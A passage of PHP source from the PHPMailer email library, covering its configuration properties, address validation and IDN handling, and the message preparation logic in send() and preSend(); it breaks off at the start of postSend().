     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
